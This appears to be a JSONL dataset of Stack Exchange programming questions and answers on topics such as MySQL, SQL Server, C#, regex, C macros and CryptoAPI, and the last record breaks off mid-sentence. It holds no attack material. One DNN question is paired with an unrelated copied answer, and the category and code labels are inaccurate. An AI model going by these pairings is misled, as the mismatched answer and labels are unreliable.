{"id": "hf_a727814ae0ff", "question": "<p>I know that with mysql you can write SQL statements into a .sql file and run the file from the mysql command line like this:</p>\n\n<pre><code>mysql&gt; source script.sql\n</code></pre>\n\n<p>How do I pass a variable to the script? For example, if I want to run a script that retrieves all the employees in a department, I want to be able to pass in the number of the department as a variable.</p>\n\n<p>I am not trying to run queries through a shell script. There are simple queries I run from the mysql command line. I'm tired of retyping them all the time, and writing a shell script for them would be overkill.</p>\n", "question_body": "", "answer": "Like this:\n```\n```\nset @department := 'Engineering';\n```\n```\nThen, reference\n```\n@department\n```\nwherever you need to in script.sql:\n```\n```\nupdate employee set salary = salary + 10000 where department = @department;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:39.357102"}
{"id": "hf_62208d3e6426", "question": "<p>I have a couple old services that I want to completely uninstall. How can I do this?</p>\n", "question_body": "", "answer": "Click\nStart\n|\nRun\nand type\n```\nregedit\n```\nin the Open: line. Click OK.\nNavigate to\n```\nHKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\n```\nScroll down the left pane, locate the service name, right click it and\nselect Delete\n.\nReboot the system.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:39.381310"}
{"id": "hf_c9ef10025813", "question": "<p>I am trying to solve numerically a set of partial differential equations in three dimensions. In each of the equations the next value of the unknown in a point depends on the current value of each unknown in the closest points.</p>\n\n<p>To write an efficient code I need to keep the points close in the three dimensions close in the (one-dimensional) memory space, so that each value is called from memory just once.</p>\n\n<p>I was thinking of using octtrees, but I was wondering if someone knows a better method.</p>\n", "question_body": "", "answer": "Octtrees are the way to go.  You subdivide the array into 8 octants:\n```\n1 2\n3 4\n\n---\n\n5 6\n7 8\n```\nAnd then lay them out in memory in the order 1, 2, 3, 4, 5, 6, 7, 8 as above.  You repeat this recursively within each octant until you get down to some base size, probably around 128 bytes or so (this is just a guess -- make sure to profile to determine the optimal cutoff point).  This has much, much better cache coherency and locality of reference than the naive layout.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:39.405587"}
{"id": "hf_290310f92060", "question": "<p>can anyone please suggest a <strong>good code example</strong> of vb.net/c# code to put the application in system tray when minized.</p>\n", "question_body": "", "answer": "Add a NotifyIcon control to your form, then use the following code:\n```\n```\nprivate void frm_main_Resize(object sender, EventArgs e)\n    {\n        if (this.WindowState == FormWindowState.Minimized)\n        {\n           this.ShowInTaskbar = false;\n           this.Hide();\n           notifyIcon1.Visible = true;\n        }\n    }\n\n    private void notifyIcon1_MouseDoubleClick(object sender, MouseEventArgs e)\n    {\n        this.Show();\n        this.WindowState = FormWindowState.Normal;\n        this.ShowInTaskbar = true;\n        notifyIcon1.Visible = false;\n    }\n```\n```\nYou may not need to set the ShowInTaskbar property.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:39.429169"}
{"id": "hf_52b84990c712", "question": "<p>I'm trying to keep dependencies to a minimum for a program I contribute to, it's a small text editor.</p>\n\n<p>GTK Textview doesn't seem to come with a built-in undo function. Is there any reference implementation I've been missing on so far? Is everyone writing their own undo function for their TextView widgets?</p>\n\n<p>I'll be happy about any sample code - most happy about python sample code, as our project is in python.</p>\n", "question_body": "", "answer": "As far as I know, GTK TextView doesn't include an undo function. So while I am not familiar with Python's GTK library, I would think it doesn't have one.\nThe Ruby-GNOME2 project has a\nsample text editor\nthat has undo/redo functionality. Basically they are connecting to the insert_text and delete_range signals of the TextView widget and recording the events and associated data in a list.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:39.468351"}
{"id": "hf_59a69cc3bb4a", "question": "<p>I have 4 2D points in screen-space, and I need to reverse-project them back into 3D space. I know that each of the 4 points is a corner of a 3D-rotated rigid rectangle, and I know the size of the rectangle. How can I get 3D coordinates from this?</p>\n\n<p>I am not using any particular API, and I do not have an existing projection matrix. I'm just looking for basic math to do this. Of course there isn't enough data to convert a single 2D point to 3D with no other reference, but I imagine that if you have 4 points, you know that they're all at right-angles to each other on the same plane, and you know the distance between them, you should be able to figure it out from there. Unfortunately I can't quite work out how though.</p>\n\n<p>This might fall under the umbrella of photogrammetry, but google searches for that haven't led me to any helpful information. </p>\n", "question_body": "", "answer": "Assuming that the points are indeed part of a rectangle, I'm giving a generic idea :\nFind two points with max inter-distance: these most probably define a diagonal (exception: special cases where the rectangle is almost paralell to the YZ plane, left for the student). Call them A, C. Calculate the BAD, BCD angles. These, compared to right angles, give you orientation in 3d space. To find out about z distance, you need to correlate the projected sides to the known sides, and then, based on the 3d projection method (is it 1/z?) you're on the right track to know distances.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:39.491512"}
{"id": "hf_0a0a392af982", "question": "<p>Does anybody have experience of a decent J2SE (preferably at least Java JDK 1.5-level) Java Virtual Machine for Windows Mobile 6? If you know of any CLDC VMs, I'm also interested because even that would be better than what we <a href=\"http://www.nsicom.com/Default.aspx?tabid=138\" rel=\"nofollow noreferrer\">currently have</a> for the platform. </p>\n", "question_body": "", "answer": "Honestly I searched a while and there no decent JVM for windows mobile. The best bet I think is this :\nhttp://www2s.biglobe.ne.jp/~dat/java/project/jvm/index_en.html\nbut it's JDK 1.3 compliant the last time I checked.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:39.587059"}
{"id": "hf_6c72607b4f72", "question": "<p>I've only been able to find two thus far, namely <a href=\"http://tinyradius.sourceforge.net/\" rel=\"nofollow noreferrer\">TinyRadius</a>, which itself discourages production use and <a href=\"http://www.axlradius.com/\" rel=\"nofollow noreferrer\">AXL</a>, which is pay-only.</p>\n\n<p><a href=\"http://coova.org/wiki/index.php/JRadius\" rel=\"nofollow noreferrer\">JRadius</a> seems tied to <a href=\"http://freeradius.org/\" rel=\"nofollow noreferrer\">FreeRADIUS</a>, which isn't a library and will need a lot of cajoling to function like one.</p>\n", "question_body": "", "answer": "List from\nhttp://freeradius.org/related/opensource.html\n(not copying the descriptions because the page says it's copyright\nrolleyes\n):\nCistron -\nhttp://www.radius.cistron.nl/\nGNU Radius -\nhttp://www.gnu.org/software/radius/\nFreeRADIUS -\nhttp://freeradius.org/\nJRadius -\nhttp://www.coova.org/JRadius\nICRADIUS -\nhttp://www.icradius.org/\nOpenRADIUS -\nhttp://www.openradius.net/\nXtRADIUS -\nhttp://xtradius.sourceforge.net/\nYARD RADIUS -\nhttp://sourceforge.net/projects/yardradius", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:39.610398"}
{"id": "hf_5e6bedbf8753", "question": "<p>In my SWT Java app I often want to return information from inside a Display.syncExec() call.  The best way I've found so far to do this is:</p>\n\n<pre><code>final ArrayList&lt;Integer&gt; result = new ArrayList&lt;Integer&gt;();\nGUI.display().syncExec(new Runnable(){ public void run() {\n   MessageBox mb = /* ... */;\n    /* set up messagebox */\n   result.add(mb.open());\n}});\nif (SWT.OK == result.get(0)) { /* ... */ }\n</code></pre>\n\n<p>I think this is allowed because ArrayList is thread-safe, but is there a better container I should be using, or an easier way altogether?</p>\n", "question_body": "", "answer": "ArrayList is\nnot\nthread-safe. From the relevant\nJavadoc\n:\nNote that this implementation is not\n  synchronized. If multiple threads\n  access an ArrayList instance\n  concurrently, and at least one of the\n  threads modifies the list\n  structurally, it must be synchronized\n  externally.\nIf you need a thread-safe implementation of List, there are (at least) two provided in the JDK: CopyOnWriteArrayList and Vector.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:39.720840"}
{"id": "hf_e1eac44985dd", "question": "<p>PHP5 has a \"magic method\" <code>__call()</code>that can be defined on any class that is invoked when an undefined method is called -- it is roughly equivalent to Ruby's <code>method_missing</code> or Perl's <code>AUTOLOAD</code>. Is it possible to do something like this in older versions of PHP?</p>\n", "question_body": "", "answer": "I recall using it, and a little bit of googling suggests that\n```\n```\nfunction __call($method_name, $parameters, &$return)\n{\n  $return_value = \"You called ${method_name}!\";\n}\n```\n```\nas a member function will do the job.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:39.792794"}
{"id": "hf_ca28cca566ec", "question": "<p>Does anyone know a mechanism to calculate at compile-time the LCM (Least Common Multiple) and/or GCD (Greatest Common Denominator) of at least two number in <strong>C</strong> (<strong>not C++</strong>, I know that template magic is available there)?</p>\n\n<p>I generally use <strong>GCC</strong> and recall that it can calculate certain values at compile-time when all inputs are known (ex: sin, cos, etc...).</p>\n\n<p>I'm looking for how to do this in <strong>GCC</strong> (preferably in a manner that other compilers could handle) and hope the same mechanism would work in Visual Studio.</p>\n", "question_body": "", "answer": "I figured it out afterall...\n```\n```\n#define GCD(a,b) ((a>=b)*GCD_1(a,b)+(a<b)*GCD_1(b,a))\n#define GCD_1(a,b) ((((!(b)))*(a)) + (!!(b))*GCD_2((b), (a)%((b)+!(b))))\n#define GCD_2(a,b) ((((!(b)))*(a)) + (!!(b))*GCD_3((b), (a)%((b)+!(b))))\n#define GCD_3(a,b) ((((!(b)))*(a)) + (!!(b))*GCD_4((b), (a)%((b)+!(b))))\n#define GCD_4(a,b) ((((!(b)))*(a)) + (!!(b))*GCD_5((b), (a)%((b)+!(b))))\n#define GCD_5(a,b) ((((!(b)))*(a)) + (!!(b))*GCD_6((b), (a)%((b)+!(b))))\n#define GCD_6(a,b) ((((!(b)))*(a)) + (!!(b))*GCD_7((b), (a)%((b)+!(b))))\n#define GCD_7(a,b) ((((!(b)))*(a)) + (!!(b))*GCD_8((b), (a)%((b)+!(b))))\n#define GCD_8(a,b) ((((!(b)))*(a)) + (!!(b))*GCD_last((b), (a)%((b)+!(b))))\n#define GCD_last(a,b) (a)\n\n#define LCM(a,b) (((a)*(b))/GCD(a,b))\n\nint main()\n{\n    printf(\"%d, %d\\n\", GCD(21,6), LCM(21,6));\n    return 0;\n}\n```\n```\nNote, depending on how large your integers go, you may need to include more intermediate steps (i.e. GCD_9, GCD_10, etc...).\nI hope this helps!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:39.817418"}
{"id": "hf_fa9190dec12b", "question": "<p>I just got surprised by something in TSQL.  I thought that if xact_abort was on, calling something like</p>\n\n<pre><code>raiserror('Something bad happened', 16, 1);\n</code></pre>\n\n<p>would stop execution of the stored procedure (or any batch).</p>\n\n<p>But my ADO.NET error message just proved the opposite.  I got both the raiserror error message in the exception message, plus the next thing that broke after that.</p>\n\n<p>This is my workaround (which is my habit anyway), but it doesn't seem like it should be necessary:</p>\n\n<pre><code>if @somethingBadHappened\n    begin;\n        raiserror('Something bad happened', 16, 1);\n        return;\n    end;\n</code></pre>\n\n<p>The docs say this:</p>\n\n<blockquote>\n  <p>When SET XACT_ABORT is ON, if a Transact-SQL statement raises a run-time error, the entire transaction is terminated and rolled back.</p>\n</blockquote>\n\n<p>Does that mean I must be using an explicit transaction?</p>\n", "question_body": "", "answer": "This is By Design\nTM\n, as you can see on\nConnect\nby the SQL Server team's response to a similar question:\nThank you for your feedback. By design, the XACT_ABORT set option does not impact the behavior of the RAISERROR statement. We will consider your feedback to modify this behavior for a future release of SQL Server.\nYes, this is a bit of an issue for some who hoped\n```\nRAISERROR\n```\nwith a high severity (like\n```\n16\n```\n) would be the same as an SQL execution error - it's not.\nYour workaround is just about what you need to do, and using an explicit transaction doesn't have any effect on the behavior you want to change.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:39.842567"}
{"id": "hf_5d3c5a23deb2", "question": "<p>Does ADOdb do data sanitation or escaping within the same functionality by default? Or am I just confusing it with Code Igniter's built-in processes?</p>\n\n<p>Does binding variables to parameters in ADOdb for PHP prevent SQL injection in any way? </p>\n", "question_body": "", "answer": "yes, you pass the array of parameters.\n```\n```\n$rs = $db->Execute('select * from table where val=?', array('10'));\n```\n```\nRest of their docs can be found\nhere\n:", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:39.891569"}
{"id": "hf_d77ac7794b94", "question": "<p>In what domains do each of these software architectures shine or fail?</p>\n\n<p>Which key requirements would prompt you to choose one over the other?</p>\n\n<p>Please assume that you have developers available who can do good object oriented code as well as good database development.</p>\n\n<p>Also, please avoid holy wars :) all three technologies have pros and cons, I'm interested in where is most appropriate to use which.</p>\n", "question_body": "", "answer": "I agree that there are pros and cons to everything and a lot depends on your architecture. That being said, I try to use ORM's where it makes sense. A lot of the functionality is already there and usually they help prevent SQL Injection (plus it helps avoid re-inventing the wheel).\nPlease see these other two posts on the topic (dynamic SQL vs \nstored procedures vs ORM) for more information\nDynamic SQL vs. stored procedures\nWhich is better: Ad hoc queries, or stored procedures?\nORMs vs. stored procedures\nWhy is parameterized SQL generated by NHibernate just as fast as a stored procedure?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:39.915822"}
{"id": "hf_e6583f3b6fc5", "question": "<p>I have a SQL Insert query inside a stored proc, for inserting rows into a <strong>linked server</strong> table.</p>\n\n<p>Since the stored proc is getting called within a parent transaction, this Insert statement tries to use a DTC for inserting rows into the linked server.</p>\n\n<p>I would like to <strong>avoid</strong> DTC from getting involved.</p>\n\n<p>Is there any way I can do that (like a hint) for the Insert SQL statement to ignore transactional scope?</p>\n", "question_body": "", "answer": "My suggestion is that you store whatever you want to insert into a staging table, and once the procedure is over run the cross server insert.  To my knowledge there is no way of ignoring the transaction you are in once you are within the SProc execution.\nIn contrast, if you use .NET 2.0's System.Transaction namespace, you can tell specific statements not to participate in any parent scope transaction.  This would require you to write some of your logic in code rather than stored procedures, but would work.\nHere's a\nrelevant link\n.\nGood luck,\nAlan.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:39.939833"}
{"id": "hf_b03355ce0217", "question": "<p>How can I create a regular expression that will grab delimited text from a string?  For example, given a string like </p>\n\n<pre><code>text ###token1### text text ###token2### text text \n</code></pre>\n\n<p>I want a regex that will pull out <code>###token1###</code>.  Yes, I do want the delimiter as well.  By adding another group, I can get both:</p>\n\n<pre><code>(###(.+?)###)\n</code></pre>\n", "question_body": "", "answer": "```\n```\n/###(.+?)###/\n```\n```\nif you want the ###'s  then you need\n```\n```\n/(###.+?###)/\n```\n```\nthe\n?\nmeans non greedy, if you didn't have the\n?\n, then it would grab too much.\ne.g.\n```\n'###token1### text text ###token2###'\n```\nwould all get grabbed.\nMy initial answer had a * instead of a +.  * means 0 or more.  + means 1 or more.  * was wrong because that would allow ###### as a valid thing to find.\nFor playing around with regular expressions. I highly recommend\nhttp://www.weitz.de/regex-coach/\nfor windows.  You can type in the string you want and your regular expression and see what it's actually doing.\nYour selected text will be stored in \\1   or $1 depending on where you are using your regular expression.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:39.976408"}
{"id": "hf_26290f1bc880", "question": "<p>In C#.NET I am trying to programmatically change the color of the border in a group box.</p>\n\n<p>Update:  This question was asked when I was working on a winforms system before we switched to .NET.</p>\n", "question_body": "", "answer": "I'm not sure this applies to every case, but thanks to this thread, we quickly hooked into the Paint event programmatically using:\n```\n```\nGroupBox box = new GroupBox();\n[...]\nbox.Paint += delegate(object o, PaintEventArgs p)\n{\n    p.Graphics.Clear(someColorHere);\n};\n```\n```\nCheers!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:40.039808"}
{"id": "hf_fd7a6cb48321", "question": "<p>I'd like to create a module in DNN that, similar to the Announcements control, offers a template that the portal admin can modify for formatting.  I have a control that currently uses a Repeater control with templates.  Is there a way to override the contents of the repeater ItemTemplate, HeaderTemplate, and FooterTemplate properties? </p>\n", "question_body": "", "answer": "I'm not sure this applies to every case, but thanks to this thread, we quickly hooked into the Paint event programmatically using:\n```\n```\nGroupBox box = new GroupBox();\n[...]\nbox.Paint += delegate(object o, PaintEventArgs p)\n{\n    p.Graphics.Clear(someColorHere);\n};\n```\n```\nCheers!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:40.064335"}
{"id": "hf_1103a5b84068", "question": "<p>Is there a way in Ruby to find the version of a file, specifically a .dll file?</p>\n", "question_body": "", "answer": "For any file, you'd need to discover what format the file is in, and then open the file and read the necessary bytes to find out what version the file is.  There is no API or common method to determine a file version in Ruby.\nNote that it would be easier if the file version were in the file name.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:40.088221"}
{"id": "hf_3c7d48c02ea4", "question": "<p>I have a file saved as UCS-2 Little Endian I want to change the encoding so I ran the following code:</p>\n\n<pre><code>cat tmp.log -encoding UTF8 &gt; new.log\n</code></pre>\n\n<p>The resulting file is still in UCS-2 Little Endian.  Is this because the pipeline is always in that format? Is there an easy way to pipe this to a new file as UTF8?</p>\n", "question_body": "", "answer": "I would do it like this:\n```\n```\nget-content tmp.log -encoding Unicode | set-content new.log -encoding UTF8\n```\n```\nMy understanding is that the -encoding option selects the encdoing that the file should be read or written in.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:40.112896"}
{"id": "hf_f7de4d4650cd", "question": "<p>Can't find anything relevant about Entity Framework/MySQL on Google so I'm hoping someone knows about it.</p>\n", "question_body": "", "answer": "You would need a mapping provider for MySQL. That is an extra thing the Entity Framework needs to make the magic happen.\nThis blog\ntalks about other mapping providers besides the one Microsoft is supplying. I haven't found any mentionings of MySQL.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:40.149232"}
{"id": "hf_4736d7206166", "question": "<p>Under what circumstances - if any - does adding programmers to a team actually speed development of an already late project?</p>\n", "question_body": "", "answer": "If the existing programmers are totally incompetent, then adding competent programmers may help.\nI can imagine a situation where you had a very modular system, and the existing programmer(s) hadn't even\nstarted\non a very isolated module.  In that case, assigning just that portion of the project to a new programmer might help.\nBasically the Mythical Man Month references are correct, except in contrived cases like the one I made up.  Mr. Brooks did solid research to demonstrate that after a certain point, the networking and communication costs of adding new programmers to a project will outweigh any benefits you gain from their productivity.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:40.185642"}
{"id": "hf_7f2e07b2bc61", "question": "<p>All I want is to be able to change the color of a bullet in a list to a light gray. It defaults to black, and I can't figure out how to change it.</p>\n\n<p>I know I could just use an image; I'd rather not do that if I can help it.</p>\n", "question_body": "", "answer": "```\n```\n<ul>\n  <li style=\"color: #888;\"><span style=\"color: #000\">test</span></li>\n</ul>\n```\n```\nthe big problem with this method is the extra markup. (the span tag)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:40.247864"}
{"id": "hf_1d07ef1862b8", "question": "<p>In JavaScript, using the Prototype library, the following functional construction is possible:</p>\n\n<pre><code>var words = [\"aqueous\", \"strength\", \"hated\", \"sesquicentennial\", \"area\"];\nwords.pluck('length');\n//-&gt; [7, 8, 5, 16, 4]\n</code></pre>\n\n<p>Note that this example code is equivalent to</p>\n\n<pre><code>words.map( function(word) { return word.length; } );\n</code></pre>\n\n<p>I wondered if something similar is possible in F#:</p>\n\n<pre><code>let words = [\"aqueous\"; \"strength\"; \"hated\";\"sesquicentennial\"; \"area\"]\n//val words: string list\nList.pluck 'Length' words\n//int list = [7; 8; 5; 16; 4]\n</code></pre>\n\n<p>without having to write:</p>\n\n<pre><code>List.map (fun (s:string) -&gt; s.Length) words\n</code></pre>\n\n<p>This would seem quite useful to me because then you don't have to write functions for every property to access them.</p>\n", "question_body": "", "answer": "Prototype's\n```\npluck\n```\ntakes advantage of that in Javascript\n```\nobject.method()\n```\nis the same as\n```\nobject[method]\n```\n.\nUnfortunately you can't call\n```\nString.Length\n```\neither because it's not a static method. You can however use:\n```\n```\n#r \"FSharp.PowerPack.dll\" \nopen Microsoft.FSharp.Compatibility\nwords |> List.map String.length\n```\n```\nhttp://research.microsoft.com/fsharp/manual/FSharp.PowerPack/Microsoft.FSharp.Compatibility.String.html\nHowever, using\n```\nCompatibility\n```\nwill probably make things more confusing to people looking at your code.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:40.270614"}
{"id": "hf_8e18b3cc25d8", "question": "<p>There's an MSDN article <a href=\"http://msdn.microsoft.com/en-us/library/aa919730.aspx\" rel=\"nofollow noreferrer\">here</a>, but I'm not getting very far:</p>\n\n<pre><code>p = 139;\ng = 5;\n\nCRYPT_DATA_BLOB pblob;\npblob.cbData = sizeof( ULONG );\npblob.pbData = ( LPBYTE ) &amp;p;\n\nCRYPT_DATA_BLOB gblob;\ngblob.cbData = sizeof( ULONG );\ngblob.pbData = ( LPBYTE ) &amp;g;\n\nHCRYPTKEY hKey;\nif ( ::CryptGenKey( m_hCryptoProvider, CALG_DH_SF,\n                    CRYPT_PREGEN, &amp;hKey ) )\n{\n    ::CryptSetKeyParam( hKey, KP_P, ( LPBYTE ) &amp;pblob, 0 );\n</code></pre>\n\n<p>Fails here with <code>NTE_BAD_DATA</code>.  I'm using <code>MS_DEF_DSS_DH_PROV</code>.   What gives?</p>\n", "question_body": "", "answer": "It looks to me that\n```\nKP_P\n```\n,\n```\nKP_G\n```\n,\n```\nKP_Q\n```\nare for DSS keys (Digital Signature Standard?). For Diffie-Hellman it looks like you're supposed to use\n```\nKP_PUB_PARAMS\n```\nand pass a\n```\nDATA_BLOB\n```\nthat points to a\n```\nDHPUBKEY_VER3\n```\nstructure.\nNote that the article you're pointing to is from the Windows Mobile/Windows CE SDK. It wouldn't be the first time that CE worked differently from the desktop/server.\nEDIT: CE does not implement\n```\nKP_PUB_PARAMS\n```\n. To use this structure on the desktop, see\nDiffie-Hellman Version 3 Public Key BLOBs\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:40.294380"}
{"id": "hf_008438875bad", "question": "<p>I'm trying to load test data into a test DB during a maven build for integration testing. persistence.xml is being copied to <code>target/test-classes/META-INF/</code> correctly, but I get this exception when the test is run.</p>\n\n<blockquote>\n  <p>javax.persistence.PersistenceException:\n  No Persistence provider for\n  EntityManager named aimDatabase</p>\n</blockquote>\n\n<p>It looks like it's not finding or loading persistence.xml.</p>\n", "question_body": "", "answer": "If this is on windows, you can use sysinternal's procmon to find out if it's checking the right path.\nJust filter by path -> contains -> persistence.xml.  Procmon will pick up any attempts to open a file named persistenc.xml, and you can check to see the path or paths that get tried.\nSee here for more detail on procmon:\nhttp://technet.microsoft.com/en-us/sysinternals/bb896645.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:40.317549"}
{"id": "hf_d87b09b1c2a0", "question": "<p>Is there a way to have a 64 bit enum in C++?  Whilst refactoring some code I came across bunch of #defines which would be better as an enum, but being greater than 32 bit causes the compiler to error.</p>\n\n<p>For some reason I thought the following might work:</p>\n\n<pre><code>enum MY_ENUM : unsigned __int64  \n{  \n    LARGE_VALUE = 0x1000000000000000,  \n};\n</code></pre>\n", "question_body": "", "answer": "An enum in C++ can be any integral type. You can, for example, have an enum of chars. IE:\n```\n```\nenum MY_ENUM\n{\n   CHAR_VALUE = 'c',\n};\n```\n```\nI would\nassume\nthis includes __int64. Try just\n```\n```\nenum MY_ENUM\n{\n   LARGE_VALUE = 0x1000000000000000,\n};\n```\n```\nAccording to my commenter, sixlettervariables, in C the base type will be an int always, while in C++ the base type is whatever is large enough to fit the largest included value. So both enums above should work.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:40.367423"}
{"id": "hf_3569d0b544de", "question": "<p>I would like to call my unmanaged C++ libraries from my C# code. What are the potential pitfalls and precautions that need to be taken? Thank you for your time.</p>\n", "question_body": "", "answer": "There are a couple routes you can go with this - one, you can update your unmanaged C++ libraries to have a managed C++ extensions wrapper around them and have C# utilize those classes directly.  This is a bit time-consuming, but it provides a nice bridge to legacy unmanaged code.  But be aware that managed C++ extensions are sometimes a bit hard to navigate themselves as the syntax is similar to unmanaged C++, but close enough that a very trained eye will be able to see the differences.\nThe other route to go is have your umnanaged C++ implement COM classes and have C# utilize it via an autogenerated interop assembly.  This way is easier if you know your way around COM well enough.\nHope this helps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:40.392113"}
{"id": "hf_89167ef040ca", "question": "<p>Where may one find references on implementing an algorithm for calculating a \"dirty rectangle\" for minimizing frame buffer updates?  A display model that permits arbitrary edits and computes the minimal set of \"bit blit\" operations required to update the display.</p>\n", "question_body": "", "answer": "To build the smallest rectangle that contains all the areas that need to be repainted:\nStart with a blank area (perhaps a rectangle set to 0,0,0,0 - something you can detect as 'no update required')\nFor each dirty area added:\nNormalize the new area (i.e. ensure that left is less than right, top less than bottom)\nIf the dirty rectangle is currently empty, set it to the supplied area\nOtherwise, set the left and top co-ordinates of the dirty rectangle to the smallest of {dirty,new}, and the right and bottom co-ordinates to the largest of {dirty,new}.\nWindows, at least, maintains an\nupdate region\nof the changes that it's been informed of, and any repainting that needs to be done due to the window being obscured and revealed. A\nregion\nis an object that is made up of many possibly discontinuous rectangles, polygons and ellipses. You tell Windows about a part of the screen that needs to be repainted by calling 